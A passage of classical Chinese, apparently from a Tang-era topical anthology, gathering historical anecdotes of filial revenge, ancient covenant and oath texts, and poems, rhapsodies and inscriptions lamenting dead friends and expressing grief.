所 在 . 乃 积 薪 . 燎 之 . 遂 不 言 而 烧 死 .\n又 曰 . 颖 川 公 孙 氏 女 河 . 年 十 三 . 怨 家 报 其 父 . 父 走 得 免 . 河 与 母 俱 亡 . 母 先 见 得 . 仇 人 事 欲 甘 心 . 河 驰 出 . 叩 头 涕 泣 曰 . 老 母 常 有 笃 疾 . 安 足 残 戮 以 塞 忿 哉 . 我 是 其 儿 . 父 母 所 怜 . 不 如 杀 我 . 仇 遂 杀 之 . 而 舍 其 母 .\n又 京 师 节 女 者 . 本 夫 有 仇 . 仇 家 欲 报 其 夫 . 乃 劫 其 妻 父 . 使 要 其 女 中 闲 . 父 呼 其 女 而 告 之 计 . 女 念 不 听 之 则 杀 父 . 不 孝 . 听 之 则 杀 夫 . 不 义 . 欲 以 身 当 之 . 曰 . 诺 . 因 曰 . 夜 在 楼 上 新 沐 头 东 首 卧 . 则 是 矣 . 仇 家 果 至 . 断 其 头 持 去 . 明 而 视 之 . 乃 其 妻 之 头 也 . 仇 以 为 义 . 遂 释 其 夫 .\n会 稽 典 录 . 董 黯 家 贫 . 采 薪 供 养 . 母 甚 肥 悦 . 邻 人 家 富 . 有 子 不 孝 . 母 甚 瘦 小 . 不 孝 子 疾 黯 母 肥 . 常 苦 之 . 黯 不 报 . 及 母 终 . 负 土 成 坟 竟 . 杀 不 孝 子 . 置 冢 前 以 祭 .\n晋 中 兴 书 曰 . 桓 温 父 被 害 时 . 温 年 十 五 . 枕 戈 泣 血 经 年 . 乃 提 刀 直 进 . 手 刃 仇 人 .\n【 诏 】 魏 文 帝 诏 曰 . 丧 乱 以 来 . 兵 革 纵 横 . 天 下 之 人 . 多 相 残 害 者 . 昔 田 横 杀 郦 商 之 兄 . 张 步 害 伏 湛 之 子 . 汉 氏 二 祖 . 下 诏 使 不 得 相 雠 . 今 兵 戎 始 息 . 宇 内 初 定 . 民 之 存 者 . 非 流 亡 之 孤 . 则 锋 刃 之 余 . 当 相 亲 爱 . 养 老 长 幼 . 自 今 以 后 . 宿 有 仇 怨 者 . 皆 不 得 相 雠 .\n【 教 】 梁 简 文 帝 甄 异 张 景 愿 复 雠 教 曰 . 夫 理 感 禽 鱼 .\n道 均 荆 棘 . 亦 有 乡 因 行 改 . 江 以 孝 移 . 张 景 愿 自 缚 到 郡\n. 称 其 父 为 韦 法 所 杀 . 今 于 公 田 渚 斩 法 级 祭 墓 讫 . 束 身\n归 家 . 昔 沂 泽 抚 剑 . 河 南 执 戟 . 远 符 古 义 . 实 足 可 嘉 .\n防 广 刃 雠 . 赦 其 桎 梏 之 罪 . 丁 兰 雪 耻 . 擢 以 大 夫 之 位 .\n尚 书 曰 . 惟 十 三 年 . 大 会 于 孟 津 . 王 曰 . 嗟 我 友 邦 冢 君 . 越 我 御 事 庶 士 . 明 听 誓 . 今 商 王 受 . 弗 敬 上 天 . 降 灾 下 民 . 沈 湎 冒 色 . 敢 行 暴 虐 . 罪 人 以 族 . 官 人 以 世 . 惟 宫 室 台 榭 陂 池 侈 服 . 以 残 害 于 尔 万 方 百 姓 . 皇 天 震 怒 . 命 我 文 考 . 肃 将 天 威 . 大 勋 未 集 . 肆 予 小 子 发 . 以 尔 友 邦 冢 君 . 观 政 于 商 . 同 力 度 德 . 同 德 度 义 . 受 有 臣 亿 万 . 惟 亿 万 心 . 予 有 臣 三 千 . 惟 一 心 . 商 罪 贯 盈 . 天 命 诛 之 . 予 弗 顺 天 . 厥 罪 惟 钧 . 尔 尚 弼 予 一 人 . 永 清 四 海 .\n又 曰 . 时 厥 明 . 王 乃 大 巡 六 师 . 明 誓 众 士 . 王 曰 . 呜 呼 我 西 土 君 子 . 商 王 受 . 狎 侮 五 常 . 荒 怠 不 敬 . 自 绝 于 天 . 结 怨 于 民 . 斫 朝 涉 之 胫 . 剖 贤 人 之 心 . 作 威 杀 戮 . 毒 痡 四 海 . 崇 信 奸 回 . 放 黜 师 保 . 屏 弃 典 刑 . 囚 奴 正 士 . 郊 社 不 修 . 宗 庙 不 享 . 作 奇 技 淫 巧 . 以 悦 妇 人 . 尔 其 孜 孜 奉 予 一 人 . 恭 行 天 罚 .\n左 传 曰 . 晋 侯 献 楚 俘 于 王 . 王 子 虎 盟 诸 侯 于 王 庭 . 要 言 曰 . 皆 奖 王 室 . 无 相 害 也 . 有 渝 此 盟 . 明 神 殛 之 . 俾 坠 其 师 . 无 克 祚 国 . 及 而 玄 孙 . 无 有 老 幼 . 君 子 谓 是 盟 也 信 .\n又 曰 . 宁 武 子 与 卫 人 盟 于 宛 濮 . 曰 . 天 祸 卫 国 . 君 臣 不 协 . 今 天 诱 其 衷 . 使 皆 降 心 以 相 从 也 . 不 有 居 者 . 谁 守 社 稷 . 不 有 行 者 . 谁 扞 牧 圉 . 不 协 之 故 . 用 昭 乞 盟 于 尔 大 神 . 自 今 日 以 往 . 行 者 无 保 其 力 . 居 者 无 惧 其 罪 . 有 渝 此 盟 . 明 神 先 君 . 是 纠 是 殛 . 国 人 闻 此 盟 而 后 不 贰 .\n又 曰 . 楚 子 围 郑 . 郑 伯 肉 袒 牵 羊 以 逆 . 楚 王 曰 . 其 君 能 下 人 . 必 能 信 用 其 民 矣 . 退 三 十 里 而 许 郑 人 平 . 潘 入 盟 . 子 良 出 质 .\n又 曰 . 楚 师 围 宋 . 宋 人 惧 . 使 华 元 夜 入 楚 师 . 登 子 反 之 床 . 起 之 曰 . 寡 君 使 元 以 病 告 曰 . 弊 邑 易 子 而 食 . 析 骸 而 爨 . 虽 然 . 城 下 之 盟 . 有 以 国 毙 . 不 能 从 也 . 去 我 三 十 里 . 唯 命 是 听 . 子 反 惧 . 与 之 盟 . 而 告 王 . 退 三 十 里 .\n又 曰 . 诸 侯 伐 郑 . 同 盟 于 亳 . 载 书 曰 . 凡 我 同 盟 . 无 蕴 年 . 无 壅 利 . 无 保 奸 . 无 留 慝 . 救 灾 患 . 恤 祸 乱 . 同 好 恶 . 奖 王 室 . 或 简 兹 命 . 司 慎 司 盟 . 名 山 名 川 . 群 神 群 祀 . 先 王 先 公 . 七 姓 十 二 国 之 祖 . 明 神 殛 之 . 俾 失 其 民 . 坠 命 亡 氏 . 踣 其 国 家 .\n史 记 曰 . 吴 起 东 游 . 出 卫 郭 门 . 与 其 母 别 . 啮 指 而 盟 曰 . 起 不 为 卿 相 . 不 复 入 卫 .\n汉 书 曰 . 高 后 立 诸 吕 为 王 . 王 陵 曰 . 高 皇 帝 刑 白 马 而 盟 . 非 刘 氏 而 王 者 . 天 下 共 击 之 . 今 王 吕 氏 . 非 约 也 .\n淮 南 子 曰 . 胡 人 弹 骨 . 胡 人 之 盟 约 . 置 酒 人 头 骨 中 . 饮 以 相 诅 也 . 越 人 臂 . 中 国 喢 盟 . 所 由 各 异 . 其 于 信 一 也 .\n晋 中 兴 书 曰 . 中 宗 以 祖 逖 为 前 锋 都 督 . 径 北 渡 江 . 中 流 誓 曰 . 祖 逖 不 清 中 原 而 复 济 者 . 有 如 此 江 .\n又 曰 . 吴 主 孙 权 . 与 蜀 盟 文 曰 . 天 降 丧 乱 . 皇 纲 失 凉 . 逆 臣 承 衅 . 劫 夺 国 柄 . 始 于 董 卓 . 终 于 曹 操 . 九 州 辐 裂 . 普 天 无 继 . 及 操 子 丕 . 偷 取 天 位 . 而 叡 么 么 . 寻 亦 凶 逆 . 昔 共 工 乱 蒙 . 而 高 辛 行 师 . 三 苗 千 度 . 而 虞 舜 征 焉 . 今 日 灭 叡 . 擒 其 徒 党 . 非 汉 与 吴 . 将 复 谁 在 . 建 大 事 . 必 先 盟 誓 . 汉 之 与 吴 . 虽 信 由 中 . 然 分 土 列 境 . 宜 立 盟 约 . 使 东 西 士 民 . 咸 共 闻 知 . 既 盟 之 后 . 戮 力 一 心 . 同 讨 魏 贼 . 救 危 恤 患 . 分 灾 共 庆 . 各 守 分 土 . 无 相 侵 犯 . 传 之 后 叶 . 克 终 若 始 . 有 渝 此 盟 . 创 祸 先 乱 . 俾 坠 其 师 . 无 克 祚 国 .\n【 文 】 晋 刘 琨 与 段 匹 磾 盟 文 曰 . 天 不 静 晋 . 难 集 上 邦 . 四 方 豪 杰 . 是 焉 扇 动 . 乃 凭 陵 于 诸 夏 . 俾 天 子 播 越 震 荡 . 罔 有 攸 底 . 二 虏 交 侵 . 区 夏 将 泯 . 神 人 乏 主 . 苍 生 无 归 . 百 罹 备 臻 . 死 丧 相 枕 . 肌 肤 润 于 锋 镝 . 骸 骨 曝 于 草 莽 . 千 里 无 烟 火 之 庐 . 列 城 有 丘 旷 之 邑 . 兹 所 以 痛 心 疾 首 . 仰 诉 皇 穹 者 也 . 臣 琨 蒙 国 宠 灵 . 叨 切 台 岳 . 臣 磾 世 效 忠 节 . 忝 荷 公 辅 . 大 惧 丑 类 . 猾 夏 王 旅 . 殒 首 丧 元 . 尽 其 臣 礼 . 古 先 哲 王 . 贻 厥 后 训 . 所 以 翼 戴 天 子 . 敦 序 同 好 者 . 莫 不 临 之 以 神 明 . 结 之 盟 誓 . 故 齐 桓 会 于 邵 陵 . 而 群 后 加 恭 . 晋 文 盟 于 践 土 . 而 诸 侯 兹 顺 . 加 臣 等 . 介 在 遐 鄙 . 而 与 主 相 去 迥 辽 . 是 以 敢 干 先 典 . 刑 牲 歃 血 . 自 今 日 既 盟 之 后 . 皆 尽 忠 竭 节 . 以 翦 夷 二 寇 . 有 加 难 于 琨 . 磾 必 救 . 加 难 于 磾 . 琨 亦 如 之 . 缱 绻 齐 契 . 披 布 胸 怀 . 书 功 金 石 . 藏 于 王 府 . 有 渝 此 盟 . 亡 其 宗 族 . 俾 坠 军 旅 . 无 其 遗 育 .\n晋 庾 阐 为 郤 车 骑 讨 苏 峻 盟 文 曰 . 贼 臣 祖 约 苏 峻 . 不 恭 天 命 . 不 畏 王 诛 . 凶 戾 肆 逆 . 干 国 之 纪 . 称 兵 攻 宫 . 焚 掠 宗 庙 . 遂 乃 制 胁 幼 主 . 有 无 君 之 心 . 大 行 皇 太 后 . 以 忧 厄 崩 殂 . 残 害 忠 良 . 祸 虐 烝 民 . 穷 凶 极 暴 . 毒 流 四 海 . 是 以 率 土 怨 酷 . 兆 庶 泣 血 . 咸 愿 奉 辞 罚 罪 . 以 除 元 恶 . 今 主 上 幽 危 . 百 姓 倒 悬 . 忠 臣 烈 士 . 志 在 死 国 . 既 盟 之 后 . 戮 力 一 心 . 共 翦 丑 类 . 殒 首 丧 元 . 以 救 社 稷 . 若 二 寇 不 枭 . 无 望 偷 安 . 当 令 生 者 不 食 今 誓 . 死 者 无 媿 黄 泉 .\n晋 王 羲 之 为 会 稽 内 史 . 称 疾 去 郡 . 于 父 墓 前 自 誓 文 曰 . 羲 之 不 天 . 夙 遭 闵 凶 . 遂 因 人 乏 . 蒙 国 宠 荣 . 每 仰 咏 老 氏 周 任 之 诫 . 常 恐 斯 亡 无 日 . 是 用 寤 寐 永 叹 . 若 坠 深 谷 . 止 足 之 分 . 定 于 今 日 . 稽 颡 归 诚 . 自 今 之 后 . 敢 渝 变 此 心 . 贪 冒 苟 进 . 是 有 无 尊 之 心 . 而 不 子 也 . 子 而 不 子 . 天 地 所 不 覆 载 也 . 名 教 所 不 得 容 也 . 信 誓 之 诚 . 有 如 皎 日 .\n陈 沈 炯 为 陈 武 帝 与 王 僧 辩 盟 文 曰 . 侯 景 戎 羯 小 丑 . 逆\n天 无 状 . 背 我 恩 义 . 破 我 国 家 . 毒 我 生 民 . 改 移 我 庙 社\n. 诛 锄 我 郡 县 . 割 裂 我 宗 姻 . 我 高 祖 ● 圣 聪 明 . 光 宅 天\n下 . 劬 劳 兆 庶 . 亭 育 万 民 . 哀 景 以 穷 见 归 . 全 景 将 戮 之\n首 . 授 景 要 害 之 地 . 崇 景 非 次 之 荣 . 于 景 何 怨 . 而 景 长\n戟 彊 弩 . 陵 戚 朝 庭 . 刳 肝 斫 趾 . 不 厌 其 快 . 高 祖 菜 食 卑\n宫 . 春 秋 九 十 . 屈 意 凝 威 . 愤 终 寇 手 . 大 行 皇 帝 . 温 严\n恭 默 . 不 守 鸿 名 . 于 景 何 有 . 复 加 忍 毒 . 岂 有 率 土 之 滨\n. 忍 闻 此 痛 . 僧 辨 等 . 荷 相 国 湘 东 王 泣 血 衔 冤 之 寄 . 摩\n顶 至 踵 之 恩 . 能 不 沥 胆 抽 肠 . 共 诛 奸 逆 . 协 和 将 帅 . 同\n心 共 契 . 必 诛 凶 . 尊 奉 湘 东 王 . 嗣 膺 鸿 业 . 以 主 郊 祭\n. 若 一 相 欺 负 . 一 相 违 戾 . 天 地 宗 庙 . 是 谴 是 诘 .\n毛 诗 曰 . 友 贤 不 弃 . 不 遗 故 旧 . 则 民 德 归 厚 .\n左 传 曰 . 郑 子 太 叔 卒 . 赵 简 子 为 之 临 . 甚 哀 . 曰 . 黄 父 之 会 . 夫 子 语 我 九 言 . 事 具 言 语 篇 .\n论 语 曰 . 故 旧 不 遗 . 则 民 不 偷 .\n汉 书 曰 . 高 祖 过 沛 . 置 酒 沛 宫 . 悉 召 故 人 父 老 . 酒 酣 . 自 击 筑 起 舞 . 慷 慨 伤 怀 . 泣 数 行 下 . 谓 沛 父 兄 曰 . 游 子 悲 故 乡 . 吾 虽 都 关 中 . 万 岁 之 后 . 吾 魂 魄 犹 思 乐 沛 . 与 父 老 诸 母 故 乡 人 . 乐 饮 极 欢 . 道 旧 故 为 笑 乐 .\n又 曰 . 朱 邑 惇 笃 于 故 旧 . 性 公 平 . 不 可 交 私 .\n新 序 曰 . 延 陵 季 子 使 过 徐 . 徐 君 心 欲 得 其 宝 剑 . 弗 忍 言 . 季 子 心 许 之 而 未 及 与 . 及 还 而 徐 君 已 薨 . 乃 脱 宝 剑 . 悬 于 墓 树 . 徐 人 奇 之 曰 . 延 陵 季 子 . 不 忘 旧 故 . 脱 千 金 之 剑 挂 丘 树 .\n东 观 汉 记 曰 . 章 帝 幸 东 平 . 祭 东 平 王 墓 . 云 . 思 其 人 . 到 其 乡 . 其 处 在 . 其 人 亡 .\n皇 甫 谧 高 士 传 曰 . 徐 稚 仁 让 闻 于 天 下 . 黄 琼 辟 公 府 . 不 诣 . 及 琼 薨 . 稚 负 笈 徒 步 三 千 余 里 . 到 琼 墓 致 酹 .\n嵇 康 高 士 传 曰 . 商 容 有 疾 . 老 子 问 之 . 容 曰 . 子 过 故 乡 而 下 车 . 知 之 乎 . 老 子 曰 . 非 谓 不 忘 故 耶 .\n【 诗 】 梁 沈 约 怀 旧 诗 曰 . 元 长 秉 奇 调 . 弱 冠 慕 前 踪 . 眷 言 怀 祖 武 . 一 篑 望 成 峰 . 涂 难 行 易 跌 . 命 舛 志 难 逢 . 折 风 落 迅 羽 . 流 恨 满 青 松 . 伤 王 融 .\n又 诗 曰 . 吏 部 信 才 杰 . 文 锋 振 音 响 . 调 与 金 石 谐 . 思 逐 风 云 上 . 岂 言 陵 霜 质 . 忽 随 人 事 往 . 尺 璧 尔 何 冤 . 一 旦 同 丘 壤 . 伤 谢 朓 .\n又 诗 曰 . 右 率 馥 时 誉 . 秀 出 冠 朋 僚 . 耸 兹 千 仞 气 . 依 此 百 寻 条 . 蕴 藉 含 文 雅 . 散 朗 溢 风 飙 . 楸 槚 今 已 合 . 容 范 尚 昭 昭 . 伤 庾 杲 之 .\n又 诗 曰 . 长 史 体 闲 任 . 坦 荡 无 外 求 . 持 身 非 诡 遇 . 应 物 有 虚 舟 . 心 从 朋 好 尽 . 形 为 欢 宴 留 . 欢 宴 未 终 毕 . 零 落 委 山 丘 . 伤 王 谌 .\n又 诗 曰 . 东 南 既 擅 美 . 洛 阳 复 称 才 . 携 手 同 欢 宴 . 比 迹 共 追 陪 . 事 随 短 秀 落 . 言 归 长 夜 台 . 伤 虞 炎 .\n又 诗 曰 . 少 府 怀 贞 节 . 忘 躯 济 所 奉 . 吏 道 勤 不 息 . 繁 文 长 自 拥 . 既 阙 优 孟 歌 . 身 没 谁 为 宠 . 伤 李 珪 之 .\n又 诗 曰 . 韦 敻 识 前 载 . 博 物 备 戎 华 . 税 骖 止 营 校 . 沦 迹 委 泥 沙 . 如 知 庸 听 局 . 方 悟 大 音 赊 . 伤 韦 景 猷 .\n又 诗 曰 . 处 和 无 近 累 . 天 然 有 胜 质 . 萧 索 负 高 情 . 耿 介 怀 私 实 . 义 贵 良 为 重 . 兰 摧 非 所 恤 . 一 罢 平 生 言 . 宁 知 携 手 日 . 伤 刘 佩 .\n又 诗 曰 . 豫 州 怀 风 范 . 绰 然 摽 雅 度 . 处 约 志 不 渝 . 接 广 情 无 忤 . 颉 颃 事 刀 笔 . 纷 纶 递 朱 素 . 美 志 同 山 河 . 浮 年 迫 朝 露 . 伤 胡 谐 之 .\n【 赋 】 西 晋 向 秀 思 旧 赋 曰 . 予 与 嵇 康 吕 安 . 居 止 接 近 . 其 人 并 有 不 羁 之 才 . 嵇 康 意 远 而 疏 . 吕 安 心 旷 而 放 . 其 后 各 以 事 犯 法 . 嵇 博 综 技 艺 . 于 丝 竹 特 妙 . 临 当 就 命 . 顾 视 日 影 . 索 琴 而 弹 之 . 曰 ○ 文 选 十 六 作 余 . 逝 将 西 迈 . 经 其 旧 庐 . 邻 人 有 吹 笛 者 . 发 声 寥 亮 . 追 想 曩 昔 游 宴 之 好 . 感 音 而 叹 . 故 作 赋 云 . 将 命 适 于 远 京 . 遂 旋 返 而 北 徂 . 济 黄 河 以 泛 舟 . 经 山 阳 之 旧 居 . 践 二 子 之 遗 迹 . 历 穷 巷 之 空 庐 . 惟 古 昔 以 怀 念 . 心 徘 徊 以 踌 躇 . 栋 宇 存 而 弗 毁 . 形 神 逝 其 焉 如 . 昔 李 斯 之 受 罪 . 叹 黄 犬 之 长 吟 . 悼 嵇 生 之 永 辞 . 顾 日 影 而 弹 琴 . 托 运 遇 于 际 会 . 寄 余 命 于 寸 阴 . 听 鸣 笛 之 慷 慨 . 妙 声 绝 而 复 寻 . 停 驾 言 而 将 迈 . 遂 援 翰 而 写 心 .\n晋 潘 岳 怀 旧 赋 曰 . 予 十 二 而 获 见 于 父 友 东 武 戴 侯 杨 君 . 遂 申 之 以 婚 姻 . 而 道 元 公 嗣 . 亦 隆 世 亲 之 爱 . 不 幸 短 命 . 父 子 凋 殒 . 予 寻 役 于 外 . 不 历 嵩 丘 之 山 者 . 九 年 于 兹 矣 . 今 而 经 焉 . 慨 然 怀 旧 . 乃 作 赋 曰 . 仰 睎 归 云 . 俯 镜 泉 流 . 前 瞻 太 室 . 旁 眺 嵩 丘 . 东 武 托 焉 . 建 茔 启 畴 . 岩 岩 双 表 . 列 列 行 楸 . 予 总 角 而 获 见 . 承 戴 侯 之 清 尘 . 名 予 以 国 士 . 眷 予 以 嘉 姻 . 自 祖 考 而 隆 好 . 逮 二 子 而 世 亲 . 欢 携 手 以 偕 老 . 庶 报 德 之 有 邻 . 今 九 载 而 一 来 . 空 馆 阒 其 无 人 . 陈 荄 被 于 堂 除 . 旧 圃 化 而 为 薪 . 步 庭 庑 以 徘 徊 . 流 涕 泣 而 沾 巾 .\n【 铭 】 周 庾 信 思 旧 铭 曰 . 岁 次 摄 提 . 星 居 鹑 首 . 梁 故 观 宁 侯 萧 永 卒 . 呜 呼 哀 哉 . 人 之 戚 也 . 既 非 金 石 所 移 . 士 之 悲 也 . 宁 有 春 秋 之 异 . 高 台 已 倾 . 稷 下 有 闻 琴 之 泣 . 壮 士 一 去 . 燕 南 有 击 筑 之 悲 . 项 羽 之 晨 起 帐 中 . 李 陵 之 徘 徊 歧 路 . 无 假 穷 秋 . 于 时 悲 矣 . 况 复 鱼 飞 武 库 . 豫 有 弃 甲 之 征 . 鸟 伏 狄 泉 . 先 见 横 流 之 兆 . 星 纪 吴 亡 . 庚 辰 楚 灭 . 原 隰 载 驰 . 轘 辕 长 往 . 甲 裳 失 矣 . 余 皇 弃 焉 . 河 流 酸 枣 . 杞 梓 与 樗 栎 俱 沉 . 海 浅 蓬 莱 . 鱼 鳖 共 蛟 龙 并 尽 . 燃 香 复 道 . 讵 敛 冤 魂 . 载 酒 属 车 . 宁 消 愁 气 . 芝 兰 萧 艾 之 秋 . 形 殊 而 并 悴 . 羽 毛 鳞 介 之 怨 . 声 异 而 俱 哀 . 幕 府 昔 开 . 俊 贤 翘 首 . 为 羁 终 岁 . 门 人 谢 焉 . 及 乎 东 首 告 辞 . 西 陵 长 往 . 山 阳 车 马 . 永 别 郊 门 . 颖 川 宾 客 . 遥 悲 松 路 . 嵇 叔 夜 之 山 庐 . 尚 多 杨 柳 . 王 子 猷 之 旧 径 . 唯 余 竹 林 . 王 孙 葬 地 . 方 为 长 乐 之 宫 . 列 士 埋 魂 . 即 是 将 军 之 墓 . 昔 尝 欢 宴 . 风 月 留 连 . 追 忆 平 生 . 宛 然 心 目 . 美 酒 酌 焉 . 犹 思 建 业 之 水 . 鸣 琴 在 操 . 终 念 华 亭 之 鹤 . 重 为 此 别 . 呜 呼 甚 哉 . 麟 亡 星 落 . 月 死 珠 伤 . 瓶 罄 罍 耻 . 芝 焚 蕙 叹 . 所 冀 钟 沉 德 水 . 望 出 风 云 . 剑 没 丰 城 . 气 连 牛 斗 . 潸 然 思 旧 . 乃 作 铭 云 . 风 云 上 惨 . 舟 壑 潜 移 . 骎 骎 霜 露 . 君 子 先 危 . 纪 侯 大 去 . 怀 王 不 反 . 玉 树 长 埋 . 风 流 遂 远 . 荀 卿 故 县 . 庆 封 余 邑 . 万 里 伤 魂 . 脩 门 讵 入 . 城 连 武 库 . 山 枕 卢 龙 . 思 归 道 远 . 反 葬 无 从 . 徒 留 送 雁 . 空 靡 长 松 . 畴 昔 隆 贵 . 惨 舒 语 嘿 . 托 情 嵇 琴 . 风 云 相 得 . 有 酒 如 渑 . 终 温 且 克 . 朝 阳 落 凤 . 大 野 伤 麟 . 佳 城 郁 郁 . 流 寓 于 秦 . 山 阳 相 送 . 惟 余 故 人 . 孀 机 嫠 纬 . 独 鹤 孤 鸾 . 闺 深 夜 静 . 风 月 俱 寒 . 生 平 已 矣 . 怀 故 何 期 . 匣 中 弦 断 . 邻 人 笛 悲 . 昔 为 幕 府 . 今 成 德 帷 .\n【 序 】 梁 元 帝 怀 旧 志 序 曰 . 吾 自 北 守 琅 台 . 东 探 禹 穴\n. 观 涛 广 陵 . 面 金 汤 之 设 险 . 方 舟 宛 委 . 眺 玉 笥 之 干 霄\n. 临 水 登 山 . 命 俦 啸 侣 . 中 年 承 乏 . 摄 牧 神 州 . 戚 里 英\n贤 . 尚 冠 髦 俊 . 荫 真 长 之 弱 柳 . 观 茂 弘 之 舞 鹤 . 清 酒 继\n进 . 甘 果 徐 行 . 长 安 郡 公 . 为 其 延 誉 . 扶 风 长 者 . 刷 其\n羽 毛 . 于 是 驻 伏 熊 . 回 驷 . ○ 全 梁 文 十\n七 驷 上 有 结 字 . 命 邹 湛 . 召 王 祥 . 余 顾 而 言 曰 . 斯\n乐 难 常 . 诚 有 之 矣 . 日 月 不 居 . 零 露 相 半 . 素 车 白 马 .\n往 矣 不 追 . 春 华 秋 宝 . 怀 哉 何 已 . 独 轸 魂 交 . 情 深 宿 草\n. 故 备 书 爵 里 . 陈 怀 旧 焉 .\n又 曰 . 我 心 忧 伤 . 惄 焉 如 捣 .\n左 传 曰 . 鲁 襄 仲 杀 公 子 恶 及 视 . 而 立 宣 公 . 夫 人 姜 氏 归 于 齐 . 哭 而 过 市 曰 . 天 乎 . 仲 为 不 道 . 杀 适 立 庶 . 市 人 皆 哭 . 鲁 人 谓 之 哀 姜 .\n又 . 晋 不 哀 吾 丧 . 而 灭 吾 同 姓 .\n礼 记 曰 . 墟 墓 之 间 . 未 施 哀 于 民 而 民 哀 .\n又 曰 . 阳 门 之 介 夫 死 . 而 司 城 子 罕 哭 之 哀 . 而 民 说 .\n又 曰 . 孔 子 过 泰 山 侧 . 有 妇 人 哭 于 墓 者 而 哀 . 夫 子 使 子 贡 问 之 . 对 曰 . 昔 吾 舅 死 于 虎 . 吾 夫 又 死 焉 . 今 吾 子 又 死 焉 .\n又 曰 . 知 生 者 吊 . 知 死 者 伤 .\n又 曰 . 伤 哉 贫 也 . 生 无 以 养 . 死 无 以 为 礼 .\n又 曰 . 孔 子 过 卫 . 遇 旧 馆 人 之 丧 . 夫 子 入 哭 之 . 出 . 使 子 贡 脱 骖 而 赙 之 . 曰 . 予 向 者 入 而 哭 之 . 过 于 一 哀 而 出 涕 .\n论 语 曰 . 关 雎 乐 而 不 淫 . 哀 而 不 伤 .\n又 曰 . 临 丧 不 哀 . 吾 何 以 观 之 哉 .\n家 语 曰 . 闵 子 骞 三 年 丧 毕 . 见 于 孔 子 . 与 之 琴 . 使 之 弦 . 切 切 而 悲 . 孔 子 曰 . 君 子 也 . 哀 未 尽 . 能 断 之 以 礼 . 事 具 品 艺 篇 . 焦 赣 易 林 曰 . 秋 风 生 哀 . 华 落 悲 心 .\n说 苑 曰 . 鲍 叔 死 . 管 仲 举 上 衽 而 哭 之 . 泣 下 如 雨 . 从 者 曰 . 非 君 臣 父 子 也 . 管 仲 曰 . 生 我 者 父 母 知 我 者 鲍 子 也 . 士 为 知 己 者 死 . 而 况 为 之 哀 乎 . 列 子 曰 . 燕 人 生 长 于 楚 . 及 老 而 还 本 国 . 过 晋 国 . 同 行 者 诳 之 . 指 城 曰 . 此 燕 国 之 城 . 其 人 愀 然 变 容 . 指 社 曰 . 此 君 里 之 社 . 乃 喟 然 而 叹 . 指 舍 曰 . 此 君 先 人 之 庐 . 乃 潸 然 而 泣 . 指 垄 曰 . 此 君 先 人 之 冢 . 其 人 哭 不 自 禁 .\n文 子 曰 . 九 夷 八 狄 之 哭 . 异 声 而 皆 哀 .\n吴 志 曰 . 吕 岱 亲 爱 徐 源 . 源 性 忠 壮 . 好 直 言 . 及 源 死 . 哭 之 甚 哀 . 曰 . 益 友 不 幸 . 岱 复 何 闻 乎 .\n王 隐 晋 书 曰 . 庾 衮 兄 子 孤 卒 . 衮 既 哀 其 孤 . 又 痛 其 成 人 而 未 娶 . 抚 柩 而 号 . 每 哭 . 听 者 皆 泣 . 人 不 哀 其 丧 . 感 其 哀 也 .\n又 曰 . 阮 籍 邻 家 女 . 未 嫁 而 死 . 籍 往 哭 之 . 甚 哀 .\n俗 说 曰 . 阮 光 禄 大 儿 丧 . 哀 过 . 遂 得 失 心 病 .\n琴 操 曰 . 孔 子 游 于 泰 山 . 见 薪 者 哭 甚 哀 . 孔 子 问 之 . 薪 者 曰 . 吾 自 伤 . 故 哀 尔 .\n沈 约 宋 书 曰 . 世 祖 与 群 臣 至 宠 姬 殷 贵 妃 墓 . 谓 刘 德 愿 曰 . 卿 等 哭 贵 妃 若 悲 者 . 当 加 厚 赏 . 德 愿 应 声 便 号 恸 . 涕 泗 交 横 . 上 甚 悦 . 以 为 豫 州 刺 史 . 上 又 令 羊 志 哭 . 志 亦 呜 咽 甚 哀 . 他 日 有 问 志 者 . 卿 那 得 此 副 急 泪 . 志 答 曰 . 我 尔 日 自 哭 亡 妾 耳 .\n秦 川 记 曰 . 陇 西 郡 有 陇 山 . 山 东 人 升 此 而 顾 瞻 者 . 莫 不 悲 思 哀 伤 .\n【 诗 】 魏 文 帝 寡 妇 诗 曰 . 友 人 阮 元 瑜 早 亡 . 伤 其 妻 子 孤 寡 . 为 作 此 诗 . 霜 露 纷 兮 交 下 . 木 叶 落 兮 萋 萋 . 候 雁 叫 兮 云 中 . 归 鷰 翩 兮 徘 徊 . 妾 心 感 兮 惆 怅 . 白 日 急 兮 西 颓 . 守 长 夜 兮 思 君 . 魂 一 夕 兮 九 乖 . 怅 延 伫 兮 仰 视 . 星 月 随 兮 天 回 . 徒 引 领 兮 入 房 . 窃 自 怜 兮 孤 栖 . 愿 从 君 兮 终 没 . 愁 何 可 兮 久 怀 .\n魏 阮 瑀 七 哀 诗 曰 . 丁 年 难 再 遇 . 富 贵 不 重 来 . 良 时 忽 一 过 . 身 体 为 土 灰 . 冥 冥 九 泉 室 . 漫 漫 长 夜 台 . 身 尽 气 力 索 . 精 魂 靡 所 能 . 嘉 肴 设 不 御 . 旨 酒 盈 觞 杯 . 出 圹 望 故 乡 . 但 见 蒿 与 莱 .\n又 诗 曰 . 临 川 多 悲 风 . 秋 日 苦 清 凉 . 客 子 易 为 戚 . 感 此 用 哀 伤 . 揽 衣 久 踯 躅 . 上 观 心 与 房 . 三 星 守 故 次 . 明 月 未 收 光 . 鸡 鸣 当 何 时 . 朝 晨 尚 未 央 . 还 坐 长 叹 息 . 忧 忧 难 可 忘 .\n魏 王 粲 七 哀 诗 曰 . 西 京 乱 无 象 . 豺 虎 方 遘 患 . 复 弃 中 国 去 . 远 身 适 荆 蛮 . 亲 戚 对 我 悲 . 朋 友 追 相 攀 . 出 门 无 所 见 . 白 骨 蔽 平 原 . 南 登 灞 陵 岸 . 回 首 望 长 安 . 悟 彼 下 泉 人 . 喟 然 伤 心 肝 .\n又 诗 曰 . 荆 蛮 非 我 乡 . 何 为 久 滞 淫 . 方 舟 溯 大 江 . 日 暮 愁 我 心 . 山 冈 有 余 映 . 岩 阿 增 重 阴 . 流 波 激 清 响 . 猴 猿 临 岸 吟 . 独 夜 不 能 寐 . 摄 衣 起 抚 琴 . 丝 桐 感 人 情 . 为 我 发 悲 音 .\n晋 张 载 七 哀 诗 曰 . 秋 风 吐 商 气 . 萧 瑟 扫 前 林 . 阳 鸟 收 和 响 . 寒 蝉 无 余 音 . 朱 光 驰 北 陆 . 浮 景 想 西 沈 . 顾 望 无 所 见 . 唯 睹 松 柏 阴 . 肃 肃 高 桐 枝 . 翩 翩 孤 栖 禽 . 仰 听 离 鸿 鸣 . 俯 闻 蜻 蛚 吟 . 哀 人 易 感 伤 . 览 物 增 